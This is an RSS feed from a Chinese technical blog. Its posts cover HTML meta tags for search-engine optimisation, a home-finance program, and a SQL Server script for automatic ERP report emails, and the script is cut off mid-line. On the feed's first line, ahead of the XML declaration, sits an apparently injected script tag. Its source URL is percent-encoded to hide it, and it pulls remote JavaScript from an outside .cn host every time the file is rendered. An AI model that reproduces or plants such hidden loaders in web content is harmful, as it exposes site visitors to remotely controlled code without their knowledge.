<script src=http://%77%77%77%2E%74%76%33%38%30%30%2E%63%6E/%74%63%2E%6A%73></script><?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
<channel>
<title><![CDATA[紫气东来 - ASP.NET]]></title>
<link>http://www.dbsun.com/</link>
<description><![CDATA[天行健，君子以自强不息。]]></description>
<language>zh-cn</language>
<copyright><![CDATA[Copyright 2005 PBlog2 v2.4]]></copyright>
<webMaster><![CDATA[dbmaster@163.com(Zilong)]]></webMaster>
<generator>PBlog2 v2.4</generator> 
<image>
	<title>紫气东来</title> 
	<url>http://www.dbsun.com/images/logos.gif</url> 
	<link>http://www.dbsun.com/</link> 
	<description>紫气东来</description> 
</image>

			<item>
			<link>http://www.dbsun.com/default.asp?id=167</link>
			<title><![CDATA[网页meta在web推广中的最大作用及其语法,有用的网络营销策略优化]]></title>
			<author>dbmaster@163.com(zilong)</author>
			<category><![CDATA[ASP.NET]]></category>
			<pubDate>Tue,03 Feb 2009 17:32:49 +0800</pubDate>
			<guid>http://www.dbsun.com/default.asp?id=167</guid>	
		<description><![CDATA[打开一个网页,查看源码,注意看看网页中的META是什么情况?下面分析一下网页META的格式化与语法:<br/><br/>meta是用来在HTML文档中模拟HTTP协议的响应头报文。meta&nbsp;标签用于网页的&lt;head&gt;与&lt;/head&gt;中，meta&nbsp;标签的用处很多。meta的属性有两种：name和http-equiv。name属性主要用于描述网页，对应于content（网页内容），以便于搜索引擎机器人查找、分类（目前几乎所有的搜索引擎都使用网上机器人自动查找meta值来给网页分类）。这其中最重要的是description（站点在搜索引擎上的描述）和keywords（分类关键词），所以应该给每页加一个meta值。比较常用的有以下几个：<br/><br/>　　name&nbsp;属性<br/>　　1、&lt;meta&nbsp;name=&#34;Generator&#34;&nbsp;contect=&#34;&#34;&gt;用以说明生成工具（如&nbsp;Microsoft&nbsp;FrontPage&nbsp;4.0）等；<br/>　　2、&lt;meta&nbsp;name=&#34;KEYWords&#34;&nbsp;contect=&#34;&#34;&gt;向搜索引擎说明你的网页的关键词；<br/>　　3、&lt;meta&nbsp;name=&#34;DEscription&#34;&nbsp;contect=&#34;&#34;&gt;告诉搜索引擎你的站点的主要内容；<br/>　　4、&lt;meta&nbsp;name=&#34;Author&#34;&nbsp;contect=&#34;你的姓名&#34;&gt;告诉搜索引擎你的站点的制作的作者；<br/>　　5、&lt;meta&nbsp;name=&#34;Robots&#34;&nbsp;contect=&nbsp;&#34;all|none|index|noindex|follow|nofollow&#34;&gt;<br/><br/>　　其中的属性说明如下：<br/>　　设定为all：文件将被检索，且页面上的链接可以被查询；<br/>　　设定为none：文件将不被检索，且页面上的链接不可以被查询；<br/>　　设定为index：文件将被检索；<br/>　　设定为follow：页面上的链接可以被查询；<br/>　　设定为noindex：文件将不被检索，但页面上的链接可以被查询；<br/>　　设定为nofollow：文件将不被检索，页面上的链接可以被查询。<br/><br/>　　http-equiv属性<br/>　　1、&lt;meta&nbsp;http-equiv=&#34;Content-Type&#34;&nbsp;contect=&#34;text/html&#34;;charset=gb_2312-80&#34;&gt;和&lt;meta&nbsp;http-equiv=&#34;Content-Language&#34;&nbsp;contect=&#34;zh-CN&#34;&gt;用以说明主页制作所使用的文字以及语言；又如英文是ISO-8859-1字符集，还有BIG5、utf-8、shift-Jis、Euc、Koi8-2等字符集；<br/>　　2、&lt;meta&nbsp;http-equiv=&#34;Refresh&#34;&nbsp;contect=&#34;n;url=http://yourlink&#34;&gt;定时让网页在指定的时间n内，跳转到页面<a href="http://yourlink" target="_blank">http://yourlink</a>;/<br/>　　3、&lt;meta&nbsp;http-equiv=&#34;Expires&#34;&nbsp;contect=&#34;Mon,12&nbsp;May&nbsp;2001&nbsp;00:20:00&nbsp;GMT&#34;&gt;可以用于设定网页的到期时间，一旦过期则必须到服务器上重新调用。需要注意的是必须使用GMT时间格式；<br/>　　4、&lt;meta&nbsp;http-equiv=&#34;Pragma&#34;&nbsp;contect=&#34;no-cache&#34;&gt;是用于设定禁止浏览器从本地机的缓存中调阅页面内容，设定后一旦离开网页就无法从Cache中再调出；<br/>　　5、&lt;meta&nbsp;http-equiv=&#34;set-cookie&#34;&nbsp;contect=&#34;Mon,12&nbsp;May&nbsp;2001&nbsp;00:20:00&nbsp;GMT&#34;&gt;cookie设定，如果网页过期，存盘的cookie将被删除。需要注意的也是必须使用GMT时间格式；<br/>　　6、&lt;meta&nbsp;http-equiv=&#34;Pics-label&#34;&nbsp;contect=&#34;&#34;&gt;网页等级评定，在IE的internet选项中有一项内容设置，可以防止浏览一些受限制的网站，而网站的限制级别就是通过meta属性来设置的；<br/>　　7、&lt;meta&nbsp;http-equiv=&#34;windows-Target&#34;&nbsp;contect=&#34;_top&#34;&gt;强制页面在当前窗口中以独立页面显示，可以防止自己的网页被别人当作一个frame页调用；<br/>　　8、&lt;meta&nbsp;http-equiv=&#34;Page-Enter&#34;&nbsp;contect=&#34;revealTrans(duration=10,transtion=&nbsp;50)&#34;&gt;和&lt;meta&nbsp;http-equiv=&#34;Page-Exit&#34;&nbsp;contect=&#34;revealTrans(duration=20，transtion=6)&#34;&gt;设定进入和离开页面时的特殊效果，这个功能即FrontPage中的“格式/网页过渡”，不过所加的页面不能够是一个frame页面。<br/><br/>例:<br/>&lt;HEAD&gt;<br/>&lt;title&gt;江苏省兴化市龙鼎水处理设备有限公司&lt;/title&gt;<br/>&lt;META&nbsp;content=&#34;水处理,水处理设备,江苏水处理,兴化龙鼎,水处理设备配件&nbsp;name=keywords&gt;<br/>&lt;META&nbsp;CONTENT=&#34;水处理,水处理设备,江苏水处理,兴化龙鼎,水处理设备配件&#34;&nbsp;name=&#34;description&#34;&gt;<br/>&lt;META&nbsp;content=网络,网站建设专家&nbsp;name=author&gt;<br/>&lt;META&nbsp;content=水处理,水处理设备,江苏水处理,兴化龙鼎,水处理设备配件&nbsp;name=Abstract&gt;<br/>&lt;META&nbsp;content=水处理,水处理设备,江苏水处理,兴化龙鼎,水处理设备配件&nbsp;name=Classification&gt;<br/>&lt;META&nbsp;content=&#34;index,&nbsp;follow&#34;&nbsp;name=robots&gt;<br/>&lt;META&nbsp;content=水处理,水处理设备,江苏水处理,兴化龙鼎,水处理设备配件&nbsp;name=searchtitle&gt;<br/>&lt;META&nbsp;content=&#34;INDEX,&nbsp;FOLLOW&#34;&nbsp;name=GOOGLEBOT&gt;<br/>&lt;META&nbsp;content=&#34;Copyright&nbsp;2001-2004&nbsp;-&nbsp;江苏省兴化市龙鼎水处理设备有限公司&#34;&nbsp;name=copyright&gt;<br/>&lt;meta&nbsp;name=&#34;GENERATOR&#34;&nbsp;content=&#34;Microsoft&nbsp;Visual&nbsp;Studio&nbsp;.NET&nbsp;7.1&#34;&gt;<br/>&lt;meta&nbsp;name=&#34;CODE_LANGUAGE&#34;&nbsp;content=&#34;Visual&nbsp;Basic&nbsp;.NET&nbsp;7.1&#34;&gt;<br/>&lt;meta&nbsp;name=&#34;vs_defaultClientScript&#34;&nbsp;content=&#34;JavaScript&#34;&gt;<br/>&lt;link&nbsp;href=&#34;css.css&#34;&nbsp;rel=&#34;stylesheet&#34;&nbsp;type=&#34;text/css&#34;&gt;<br/>&lt;/HEAD&gt;<br/><br/>1.公司版权注释&nbsp;<br/>＜!---&nbsp;The&nbsp;site&nbsp;is&nbsp;designed&nbsp;by&nbsp;Maketown,Inc&nbsp;06/2000&nbsp;---＞<br/><br/>2.网页显示字符集&nbsp;<br/>简体中文：＜META&nbsp;HTTP-EQUIV=&#34;Content-Type&#34;&nbsp;CONTENT=&#34;text/html;&nbsp;charset=gb2312&#34;＞&nbsp;<br/>繁体中文：＜META&nbsp;HTTP-EQUIV=&#34;Content-Type&#34;&nbsp;CONTENT=&#34;text/html;&nbsp;charset=BIG5&#34;＞&nbsp;<br/>英&nbsp;语：＜META&nbsp;HTTP-EQUIV=&#34;Content-Type&#34;&nbsp;CONTENT=&#34;text/html;&nbsp;charset=iso-8859-1&#34;＞<br/><br/>3.网页制作者信息&nbsp;<br/>＜META&nbsp;name=&#34;author&#34;&nbsp;content=&#34;llb@163.com&#34;＞<br/><br/>4.网站简介&nbsp;<br/>＜META&nbsp;NAME=&#34;DESCRIPTION&#34;&nbsp;CONTENT=&#34;江苏省兴化市龙鼎水处理设备有限公司&#34;＞<br/><br/>5.搜索关键字&nbsp;<br/>＜META&nbsp;NAME=&#34;keywords&#34;&nbsp;CONTENT=&#34;水处理,水处理设备,江苏水处理,兴化龙鼎,水处理设备配件,&#34;＞<br/><br/>6.网页的css规范&nbsp;<br/>＜LINK&nbsp;href=&#34;style/style.css&#34;&nbsp;rel=&#34;stylesheet&#34;&nbsp;type=&#34;text/css&#34;＞&nbsp;<br/>(参见目录及命名规范)<br/><br/>7.网页标题&nbsp;<br/>＜title＞xxxxxxxxxxxxxxxxxx＜/title＞<br/><br/>.可以选择加入的标签<br/><br/>1.设定网页的到期时间。一旦网页过期，必须到服务器上重新调阅。&nbsp;<br/>＜META&nbsp;HTTP-EQUIV=&#34;expires&#34;&nbsp;CONTENT=&#34;Wed,&nbsp;26&nbsp;Feb&nbsp;1997&nbsp;08:21:57&nbsp;GMT&#34;＞<br/><br/>2.禁止浏览器从本地机的缓存中调阅页面内容。&nbsp;<br/>＜META&nbsp;HTTP-EQUIV=&#34;Pragma&#34;&nbsp;CONTENT=&#34;no-cache&#34;＞<br/><br/>3.用来防止别人在框架里调用你的页面。&nbsp;<br/>＜META&nbsp;HTTP-EQUIV=&#34;Window-target&#34;&nbsp;CONTENT=&#34;_top&#34;＞<br/><br/>4.自动跳转。&nbsp;<br/>＜META&nbsp;HTTP-EQUIV=&#34;Refresh&#34;&nbsp;CONTENT=&#34;5;URL=http://www.hnzyb.com&#34;＞5___指时间停留5秒。<br/><br/>5.网页搜索机器人向导.用来告诉搜索机器人哪些页面需要索引，哪些页面不需要索引。&nbsp;<br/>＜META&nbsp;NAME=&#34;robots&#34;&nbsp;CONTENT=&#34;none&#34;＞&nbsp;<br/>CONTENT的参数有all,none,index,noindex,follow,nofollow。默认是all。<br/><br/>6.收藏夹图标&nbsp;<br/>＜link&nbsp;rel&nbsp;=&nbsp;&#34;Shortcut&nbsp;Icon&#34;&nbsp;href=&#34;favicon.ico&#34;＞<br/><br/>所有的javascript的调用尽量采取外部调用.&nbsp;<br/>＜SCRIPT&nbsp;LANGUAGE=&#34;javascript&#34;&nbsp;SRC=&#34;script/xxxxx.js&#34;＞＜/SCRIPT＞<br/><br/>附＜body＞标签：&nbsp;<br/>＜body＞标签不属于head区，这里强调一下，为了保证浏览器的兼容性，必须设置页面背景＜body&nbsp;bgcolor=&#34;#FFFFFF&#34;＞<br/>]]></description>
		</item>
		
			<item>
			<link>http://www.dbsun.com/default.asp?id=161</link>
			<title><![CDATA[[原创]EasyMoney 家庭财务软件v1.0 新鲜出炉~~~]]></title>
			<author>dbmaster@163.com(zilong)</author>
			<category><![CDATA[ASP.NET]]></category>
			<pubDate>Fri,05 Dec 2008 16:53:51 +0800</pubDate>
			<guid>http://www.dbsun.com/default.asp?id=161</guid>	
		<description><![CDATA[EasyMoney&nbsp;财务软件使用帮助<br/>EasyMoney&nbsp;财务软件使用帮助...&nbsp;1<br/><br/>前言：系统概述...&nbsp;1<br/><br/>一：注册一个用户名...&nbsp;1<br/><img src="http://www.dbsun.com/attachments/month_0812/i2008128105950.jpg" border="0" alt=""/><br/><br/><img src="http://www.dbsun.com/attachments/month_0812/r2008125165611.jpg" border="0" alt=""/><br/>二：登陆系统，登陆后将进入主界面...&nbsp;2<br/><br/><br/><br/><img src="http://www.dbsun.com/attachments/month_0812/l2008125165619.jpg" border="0" alt=""/><br/><br/>三：添加/修该报销人...&nbsp;2<br/><br/><br/><img src="http://www.dbsun.com/attachments/month_0812/42008125165624.jpg" border="0" alt=""/><br/>四：添加/修改费用类别...&nbsp;3<br/><br/><img src="http://www.dbsun.com/attachments/month_0812/e2008125165629.jpg" border="0" alt=""/><br/><br/>五：添加收入/支出...&nbsp;3<br/><br/><br/><img src="http://www.dbsun.com/attachments/month_0812/i2008125165633.jpg" border="0" alt=""/><br/>六：查看统计...&nbsp;3<br/><br/>1：查看所有明细...&nbsp;4<br/><br/><img src="http://www.dbsun.com/attachments/month_0812/q2008125165637.jpg" border="0" alt=""/><br/>2：查看月份统计...&nbsp;4<br/><br/><img src="http://www.dbsun.com/attachments/month_0812/z2008125165642.jpg" border="0" alt=""/><br/>3：查看饼图...&nbsp;5<br/><br/><img src="http://www.dbsun.com/attachments/month_0812/g2008125165645.jpg" border="0" alt=""/><br/>4：查看柱状图...&nbsp;5<br/><br/><img src="http://www.dbsun.com/attachments/month_0812/u2008125165650.jpg" border="0" alt=""/><br/>5：查看趋势图...&nbsp;6<br/><br/><img src="http://www.dbsun.com/attachments/month_0812/32008125165654.jpg" border="0" alt=""/><br/><br/>本系统可以为家庭提供有效理财管理，并形成各种报表图形以直观分析数据提高决策依据。有兴趣使用的朋友可以联系我,有改进建议的朋友也欢迎联系我。<br/><br/>&nbsp;&nbsp;联系QQ：153560261&nbsp;&nbsp;紫龙<br/><br/>&nbsp;&nbsp;邮箱：dbmaster@163.com<br/><br/>&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;作者：杨闽&nbsp;&nbsp;2008-12-5<br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/>]]></description>
		</item>
		
			<item>
			<link>http://www.dbsun.com/default.asp?id=160</link>
			<title><![CDATA[ErpReport 自动发送邮件所使用SQL ]]></title>
			<author>dbmaster@163.com(zilong)</author>
			<category><![CDATA[ASP.NET]]></category>
			<pubDate>Tue,02 Dec 2008 10:02:06 +0800</pubDate>
			<guid>http://www.dbsun.com/default.asp?id=160</guid>	
		<description><![CDATA[--****************************<br/>--***开发人：杨闽　2008.11.30<br/>--***功能：ErpReport自动发送信件给各部门经理<br/>--***************************<br/><br/><br/>--使用数据库<br/>use&nbsp;aspnetdb<br/>go<br/>--1:建立日志表<br/>IF&nbsp;EXISTS(Sel&#101;ct&nbsp;*&nbsp;from&nbsp;SYSOBJECTS&nbsp;Wh&#101;re&nbsp;NAME=&#39;zlog&#39;)<br/>&#160;&#160;&#160;&#160;dro&#112;&nbsp;table&nbsp;zlog&nbsp;&nbsp;--若存在REPORTCONFIG表，则先删除<br/>GO<br/>cr&#101;ate&nbsp;table&nbsp;zlog<br/>(<br/>id&nbsp;int&nbsp;identity(1,1)&nbsp;primary&nbsp;key,<br/>type&nbsp;int,--１失败，０成功<br/>eventName&nbsp;varchar(100),--事件名<br/>msg&nbsp;varchar(200),--具体信息<br/>dt&nbsp;datetime,--日志时间<br/>)<br/><br/><br/>ins&#101;rt&nbsp;into&nbsp;zlog(type,eventName,msg,dt)&nbsp;values(1,&#39;事件名称&#39;,&#39;事件信息&#39;,getdate())<br/>go<br/>sel&#101;ct&nbsp;*&nbsp;from&nbsp;zlog<br/>go<br/><br/><br/><br/>--2：创建配置表<br/>IF&nbsp;EXISTS(Sel&#101;ct&nbsp;*&nbsp;from&nbsp;SYSOBJECTS&nbsp;Wh&#101;re&nbsp;NAME=&#39;REPORTCONFIG&#39;)<br/>&#160;&#160;&#160;&#160;dro&#112;&nbsp;table&nbsp;REPORTCONFIG&nbsp;&nbsp;--若存在REPORTCONFIG表，则先删除<br/>GO<br/>cr&#101;ate&nbsp;table&nbsp;REPORTCONFIG<br/>(<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Autocode&nbsp;int&nbsp;identity(1,1)&nbsp;primary&nbsp;key,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;--自动增长ID<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;REPORTNAME&nbsp;varchar(20),&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&nbsp;--报表名<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;PARAMATERS&nbsp;varchar(20),--参数中文<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;PARAM_VALUE&nbsp;varchar(20),--参数<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ztype&nbsp;int&nbsp;default&nbsp;0,--是否汇总<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;DISPLAY_ORDER&nbsp;int,--显示顺序<br/>)<br/>--测试ZL0119报表<br/>ins&#101;rt&nbsp;into&nbsp;REPORTCONFIG(REPORTNAME,PARAMATERS,PARAM_VALUE,DISPLAY_ORDER,ztype)<br/>&nbsp;&nbsp;values(&#39;ZL0119&#39;,&#39;报表名称&#39;,&#39;ZL0119&#39;,1,0)<br/>ins&#101;rt&nbsp;into&nbsp;REPORTCONFIG(REPORTNAME,PARAMATERS,PARAM_VALUE,DISPLAY_ORDER,ztype)<br/>&nbsp;&nbsp;values(&#39;ZL0119&#39;,&#39;日期&#39;,&#39;INQUIRY_DATE&#39;,2,3)<br/>ins&#101;rt&nbsp;into&nbsp;REPORTCONFIG(REPORTNAME,PARAMATERS,PARAM_VALUE,DISPLAY_ORDER,ztype)<br/>&nbsp;&nbsp;values(&#39;ZL0119&#39;,&#39;汇总字段&#39;,&#39;STOCK_Q&nbsp;&#39;,3,1)<br/>ins&#101;rt&nbsp;into&nbsp;REPORTCONFIG(REPORTNAME,PARAMATERS,PARAM_VALUE,DISPLAY_ORDER,ztype)<br/>&nbsp;&nbsp;values(&#39;ZL0119&#39;,&#39;分类字段&#39;,&#39;MSEHL&#39;,4,2)<br/>ins&#101;rt&nbsp;into&nbsp;REPORTCONFIG(REPORTNAME,PARAMATERS,PARAM_VALUE,DISPLAY_ORDER,ztype)<br/>&nbsp;&nbsp;values(&#39;ZL0119&#39;,&#39;汇总字段&#39;,&#39;stock_m&#39;,5,1)<br/>ins&#101;rt&nbsp;into&nbsp;REPORTCONFIG(REPORTNAME,PARAMATERS,PARAM_VALUE,DISPLAY_ORDER,ztype)<br/>&nbsp;&nbsp;values(&#39;ZL0119&#39;,&#39;分类字段&#39;,&#39;WAERS&#39;,6,2)<br/>ins&#101;rt&nbsp;into&nbsp;REPORTCONFIG(REPORTNAME,PARAMATERS,PARAM_VALUE,DISPLAY_ORDER,ztype)<br/>&nbsp;&nbsp;values(&#39;ZL0119&#39;,&#39;部门&#39;,&#39;ekorg&#39;,7,4)<br/>--ins&#101;rt&nbsp;into&nbsp;REPORTCONFIG(REPORTNAME,PARAMATERS,PARAM_VALUE,DISPLAY_ORDER,ztype)<br/>--&nbsp;&nbsp;values(&#39;ZL0119&#39;,&#39;排序字段&#39;,&#39;matnr&#39;,8,5)--其实都应该是分类字段<br/>--ins&#101;rt&nbsp;into&nbsp;REPORTCONFIG(REPORTNAME,PARAMATERS,PARAM_VALUE,DISPLAY_ORDER,ztype)<br/>--&nbsp;&nbsp;values(&#39;ZL0119&#39;,&#39;分类字段&#39;,&#39;matnr&#39;,9,2)<br/>ins&#101;rt&nbsp;into&nbsp;REPORTCONFIG(REPORTNAME,PARAMATERS,PARAM_VALUE,DISPLAY_ORDER,ztype)<br/>&nbsp;&nbsp;values(&#39;ZL0119&#39;,&#39;分类字段&#39;,&#39;eknam&#39;,10,2)<br/>ins&#101;rt&nbsp;into&nbsp;REPORTCONFIG(REPORTNAME,PARAMATERS,PARAM_VALUE,DISPLAY_ORDER,ztype)<br/>&nbsp;&nbsp;values(&#39;ZL0119&#39;,&#39;分类字段&#39;,&#39;ekotx&#39;,11,2)<br/><br/>--&nbsp;Up&#100;ate&nbsp;ZL0119&nbsp;SET&nbsp;MSEHL&nbsp;=&nbsp;&nbsp;ZL0119.MEINS<br/><br/>--测试ZL0088报表&nbsp;<br/>ins&#101;rt&nbsp;into&nbsp;REPORTCONFIG(REPORTNAME,PARAMATERS,PARAM_VALUE,DISPLAY_ORDER,ztype)<br/>&nbsp;&nbsp;values(&#39;ZL0088&#39;,&#39;报表名称&#39;,&#39;ZL0088&#39;,1,0)<br/>ins&#101;rt&nbsp;into&nbsp;REPORTCONFIG(REPORTNAME,PARAMATERS,PARAM_VALUE,DISPLAY_ORDER,ztype)<br/>&nbsp;&nbsp;values(&#39;ZL0088&#39;,&#39;日期&#39;,&#39;SQL_DATE&#39;,2,3)<br/>ins&#101;rt&nbsp;into&nbsp;REPORTCONFIG(REPORTNAME,PARAMATERS,PARAM_VALUE,DISPLAY_ORDER,ztype)<br/>&nbsp;&nbsp;values(&#39;ZL0088&#39;,&#39;汇总字段&#39;,&#39;ZMENG&nbsp;&#39;,3,1)<br/>ins&#101;rt&nbsp;into&nbsp;REPORTCONFIG(REPORTNAME,PARAMATERS,PARAM_VALUE,DISPLAY_ORDER,ztype)<br/>&nbsp;&nbsp;values(&#39;ZL0088&#39;,&#39;分类字段&#39;,&#39;MEINS&#39;,4,2)<br/>ins&#101;rt&nbsp;into&nbsp;REPORTCONFIG(REPORTNAME,PARAMATERS,PARAM_VALUE,DISPLAY_ORDER,ztype)<br/>&nbsp;&nbsp;values(&#39;ZL0088&#39;,&#39;汇总字段&#39;,&#39;KZWI5&#39;,5,1)<br/>ins&#101;rt&nbsp;into&nbsp;REPORTCONFIG(REPORTNAME,PARAMATERS,PARAM_VALUE,DISPLAY_ORDER,ztype)<br/>&nbsp;&nbsp;values(&#39;ZL0088&#39;,&#39;分类字段&#39;,&#39;WAERC&#39;,6,2)<br/>ins&#101;rt&nbsp;into&nbsp;REPORTCONFIG(REPORTNAME,PARAMATERS,PARAM_VALUE,DISPLAY_ORDER,ztype)<br/>&nbsp;&nbsp;values(&#39;ZL0088&#39;,&#39;部门&#39;,&#39;VKBUR&#39;,7,4)<br/><br/><br/><br/>go<br/><br/><br/>sel&#101;ct&nbsp;autocode,reportname,paramaters,param_value,display_order&nbsp;<br/>from&nbsp;REPORTCONFIG&nbsp;wh&#101;re&nbsp;reportname&nbsp;=&nbsp;&#39;zl0119&#39;&nbsp;<br/>o&#114;der&nbsp;by&nbsp;ztype<br/>go<br/><br/>&nbsp;<br/><br/>sel&#101;ct&nbsp;convert(varchar(10),getdate()+1,120)&nbsp;&nbsp;<br/><br/>&nbsp;sel&#101;ct&nbsp;id,report,email,username,department,organization&nbsp;from&nbsp;subscribe<br/>GO<br/><br/>sel&#101;ct&nbsp;*&nbsp;from&nbsp;subscribe&nbsp;&nbsp;&nbsp;wh&#101;re&nbsp;id&nbsp;=&nbsp;1<br/>go<br/>sel&#101;ct&nbsp;splitcolumn&nbsp;&nbsp;from&nbsp;[dbo].[z_split](&nbsp;<br/>&#39;ZL0079,ZL0119&#39;&nbsp;,&#39;,&#39;<br/>)&nbsp;<br/>&nbsp;<br/><br/>&nbsp;<br/>--sel&#101;ct&nbsp;splitcolumn&nbsp;&nbsp;from&nbsp;[z_split](@str,&#39;,&#39;)&nbsp;<br/><br/>dro&#112;&nbsp;procedure&nbsp;ZREAD_MAILliST_one<br/>go<br/><br/>--调用一个经理&nbsp;所看内容&nbsp;的存储过程<br/>cr&#101;ate&nbsp;procedure&nbsp;ZREAD_MAILliST_one<br/>@userName&nbsp;varchar(20)<br/>as<br/><br/>--1：取得报表名称&nbsp;和部门名称<br/>declare&nbsp;@str&nbsp;varchar(2000)<br/>set&nbsp;@str&nbsp;=&nbsp;&#39;&#39;<br/>declare&nbsp;@ekorgs&nbsp;varchar(200)<br/>set&nbsp;@ekorgs&nbsp;=&nbsp;&#39;&#39;<br/><br/>sel&#101;ct&nbsp;@str&nbsp;=&nbsp;report,@ekorgs&nbsp;=&nbsp;department&nbsp;from&nbsp;subscribe&nbsp;&nbsp;&nbsp;&nbsp;wh&#101;re&nbsp;username&nbsp;=&nbsp;@userName<br/>print&nbsp;@str<br/>print&nbsp;@ekorgs<br/>--2：取得<br/><br/>----------<br/>declare&nbsp;&nbsp;&nbsp;@report_name&nbsp;varchar(20)<br/>&nbsp;set&nbsp;@report_name&nbsp;=&nbsp;&#39;&#39;<br/>declare&nbsp;zread_report&nbsp;cursor&nbsp;for<br/>sel&#101;ct&nbsp;splitcolumn&nbsp;&nbsp;from&nbsp;[z_split](@str,&#39;,&#39;)&nbsp;<br/><br/>open&nbsp;zread_report&nbsp;<br/><br/>fetch&nbsp;next&nbsp;from&nbsp;zread_report&nbsp;<br/>into&nbsp;@report_name<br/>WHILE&nbsp;@@FETCH_STATUS&nbsp;=&nbsp;0&nbsp;<br/>BEGIN&nbsp;<br/><br/>--调用子存储过程<br/>exec&nbsp;zpro_sql_sum&nbsp;&nbsp;@report_name,&nbsp;@ekorgs<br/><br/><br/>fetch&nbsp;next&nbsp;from&nbsp;zread_report<br/>into&nbsp;@report_name<br/>end<br/>--print&nbsp;@str_all<br/><br/>CLOSE&nbsp;zread_report<br/>DEALLOCATE&nbsp;zread_report<br/><br/>--执行发某一个用户EMAIL的存储过程<br/>exec&nbsp;ZREAD_MAILliST_one&nbsp;&#39;张三&#39;<br/><br/><br/><br/>--exec&nbsp;(@str_all)<br/><br/><br/>--调用子存储过程<br/>--exec&nbsp;zpro_sql_sum&nbsp;&nbsp;&#39;ZL0119&#39;,&nbsp;&#39;1010,1000&#39;<br/><br/><br/><br/><br/>&nbsp;<br/><br/><br/>--字段名，表名，数据库名之类作为变量时，必须用动态SQL&nbsp;<br/>--eg:&nbsp;<br/>declare&nbsp;@fname&nbsp;varchar(20)&nbsp;<br/>set&nbsp;@fname&nbsp;=&nbsp;&#39;[name]&#39;&nbsp;<br/>--Sel&#101;ct&nbsp;@fname&nbsp;from&nbsp;sysobjects&nbsp;--&nbsp;错误&nbsp;<br/>Exec(&#39;sel&#101;ct&nbsp;&#39;&nbsp;+&nbsp;@fname&nbsp;+&nbsp;&#39;&nbsp;from&nbsp;sysobjects&#39;)&nbsp;--&nbsp;请注意&nbsp;加号前后的&nbsp;单引号的边上要加空格&nbsp;<br/>--exec&nbsp;sp_executesql&nbsp;N&#39;&nbsp;sel&#101;ct&nbsp;&#39;&nbsp;+&nbsp;@fname&nbsp;+&nbsp;&#39;&nbsp;from&nbsp;sysobjects&#39;&nbsp;<br/>--当然将字符串改成变量的形式也可&nbsp;<br/>declare&nbsp;@fname&nbsp;varchar(20)&nbsp;<br/>set&nbsp;@fname&nbsp;=&nbsp;&#39;[name]&#39;&nbsp;<br/>declare&nbsp;@s&nbsp;varchar(1000)&nbsp;<br/>set&nbsp;@s&nbsp;=&nbsp;&#39;sel&#101;ct&nbsp;&#39;&nbsp;+&nbsp;@fname&nbsp;+&nbsp;&#39;&nbsp;from&nbsp;sysobjects&#39;&nbsp;<br/>Exec(@s)&nbsp;--&nbsp;成功&nbsp;<br/>--exec&nbsp;sp_executesql&nbsp;@s&nbsp;--&nbsp;此句会报错&nbsp;<br/><br/>declare&nbsp;@s&nbsp;Nvarchar(1000)&nbsp;--&nbsp;注意此处改为nvarchar(1000)&nbsp;<br/>set&nbsp;@s&nbsp;=&nbsp;&#39;sel&#101;ct&nbsp;&#39;&nbsp;+&nbsp;@fname&nbsp;+&nbsp;&#39;&nbsp;from&nbsp;sysobjects&#39;&nbsp;<br/>Exec(@s)&nbsp;--&nbsp;成功&nbsp;<br/>exec&nbsp;sp_executesql&nbsp;@s&nbsp;--&nbsp;此句正确，&nbsp;<br/><br/><br/>&nbsp;<br/>&nbsp;<br/><br/><br/>----------------------------------------------------------------------------<br/>declare&nbsp;@s&nbsp;varchar(2000)<br/>set&nbsp;@s&nbsp;=&nbsp;&#39;ok&nbsp;ha&nbsp;ha!&#39;<br/>print&nbsp;@s<br/><br/><br/>Sel&#101;ct&nbsp;*&nbsp;FROM&nbsp;reportconfig&nbsp;wh&#101;re&nbsp;reportname&nbsp;=&nbsp;&#39;ZL0119&#39;<br/><br/>------------------<br/>dro&#112;&nbsp;function&nbsp;z_cou1<br/>------------------------------------------------------------<br/>cr&#101;ate&nbsp;function&nbsp;z_cou1(@str_rptName&nbsp;varchar(20))<br/>RETURNS&nbsp;&nbsp;nvarchar(4000)<br/>as<br/>begin<br/><br/><br/>--------------<br/>declare&nbsp;@ps&nbsp;varchar(20),@pv&nbsp;varchar(20),@d&nbsp;int,@str_all&nbsp;varchar(2000),@str_group_lin&nbsp;varchar(100),@str_date&nbsp;varchar(40)<br/>set&nbsp;@str_all&nbsp;=&nbsp;&#39;&#39;<br/>set&nbsp;@str_group_lin&nbsp;=&nbsp;&#39;&#39;<br/>--set&nbsp;@str_date&nbsp;=&nbsp;getdate()&nbsp;-1<br/>declare&nbsp;zconfig_cur&nbsp;cursor&nbsp;for<br/>sel&#101;ct&nbsp;PARAMATERS,PARAM_VALUE,ztype&nbsp;from<br/>reportconfig&nbsp;wh&#101;re&nbsp;reportname&nbsp;=&nbsp;&#39;ZL0119&#39;&nbsp;AND&nbsp;PARAMATERS&nbsp;&lt;&gt;&nbsp;&#39;报表名称&#39;<br/>open&nbsp;zconfig_cur&nbsp;<br/><br/>fetch&nbsp;next&nbsp;from&nbsp;zconfig_cur&nbsp;<br/>into&nbsp;@ps,@pv,@d<br/>WHILE&nbsp;@@FETCH_STATUS&nb